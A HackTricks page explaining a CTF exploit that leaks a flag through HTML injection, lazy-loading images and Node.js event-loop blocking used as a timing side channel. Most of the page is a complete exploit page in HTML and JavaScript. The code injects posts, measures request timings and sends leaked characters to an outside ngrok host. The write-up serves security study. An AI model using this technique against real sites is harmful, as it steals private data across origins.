Event Loop Blocking + Lazy images - HackTricks

# Event Loop Blocking + Lazy images

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

In this exploit, @aszx87410 mixes the lazy image side channel technique through a HTML injection with kind of event loop blocking technique to leak chars.

This is a different exploit for the CTF chall that was already commented in the following page. take a look for more info about the challenge:

Connection Pool Examples

The idea behind this exploit is:

- The posts are loaded alphabetically
- An attacker can inject a post starting with "A", then some HTML tag (like a big `<canvas`) will fulfil most of the screen and some final `<img lazy` tags to load things.
- If instead of an "A" the attacker injects the same post but starting with a "z". The post with the flag will appear first, then the injected post will appear with the initial "z" and the big canvas. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final `<img lazy` tags injected won't be seen in the screen, so they won't be loaded.
- Then, while the bot is accessing the page, the attacker will send fetch requests.
  - If the images injected in the post are being loaded, these fetch requests will take longer, so the attacker knows that the post is before the flag (alphabetically).
  - If the the fetch requests are fast, it means that the post is alphabetically after the flag.

Let's check the code:

    <!DOCTYPE html>
    <html>
      <!--
      The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
      If images are loading, the request to "/" is slower, otherwise faster.
      By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
      We can use fetch to measure the request time.
    -->
      <body>
        <button onclick="run()">start</button>

        <!-- Inject post with payload -->
        <form
          id="f"
          action="http://localhost:1234/create"
          method="POST"
          target="_blank">
          <input id="inp" name="text" value="" />
        </form>

        <!-- Remove index -->
        <form
          id="f2"
          action="http://localhost:1234/remove"
          method="POST"
          target="_blank">
          <input id="inp2" name="index" value="" />
        </form>

        <script>
          let flag = "SEKAI{"
          const TARGET = "https://safelist.ctf.sekai.team"
          f.action = TARGET + "/create"
          f2.action = TARGET + "/remove"

          const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
          // Function to leak info to attacker
          const send = (data) => fetch("http://server.ngrok.io?d=" + data)
          const charset = "abcdefghijklmnopqrstuvwxyz".split("")

          // start exploit
          let count = 0
          setTimeout(async () => {
            let L = 0
            let R = charset.length - 1

            // I have omited code here as apparently it wasn't necesary

            // fallback to linerar since I am not familiar with binary search lol
            for (let i = R; i >= L; i--) {
              let c = charset[i]
              send("try_" + flag + c)
              const found = await testChar(flag + c)
              if (found) {
                send("found: " + flag + c)
                flag += c
                break
              }
            }
          }, 0)

          async function testChar(str) {
            return new Promise((resolve) => {
              /*
                For 3350, you need to test it on your local to get this number.
                The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
                If starts with "A", the image should be loaded because it's in the threshold.
              */
              // <canvas height="3350px"> is experimental and allow to show the injected
              // images when the post injected is the first one but to hide them when
              // the injected post is after the post with the flag
              inp.value =
                str +
                '<br><canvas height="3350px"></canvas><br>' +
                Array.from({ length: 20 })
                  .map((_, i) => `<img loading=lazy src=/?${i}>`)
                  .join("")
              f.submit()

              setTimeout(() => {
                run(str, resolve)
              }, 500)
            })
          }

          async function run(str, resolve) {
            // Open posts page 5 times
            for (let i = 1; i <= 5; i++) {
              window.open(TARGET)
            }

            let t = 0
            const round = 30 //Lets time 30 requests
            setTimeout(async () => {
              // Send 30 requests and time each
              for (let i = 0; i < round; i++) {
                let s = performance.now()
                await fetch(TARGET + "/?test", {
                  mode: "no-cors",
                }).catch((err) => 1)
                let end = performance.now()
                t += end - s
                console.log(end - s)
              }
              const avg = t / round
              // Send info about how much time it took
              send(str + "," + t + "," + "avg:" + avg)

              /*
              I get this threshold(1000ms) by trying multiple times on remote admin bot
              for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
            */
              const isFound = t >= 1000
              if (isFound) {
                inp2.value = "0"
              } else {
                inp2.value = "1"
              }

              // remember to delete the post to not break our leak oracle
              f2.submit()
              setTimeout(() => {
                resolve(isFound)
              }, 200)
            }, 200)
          }
        </script>
      </body>
    </html>

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.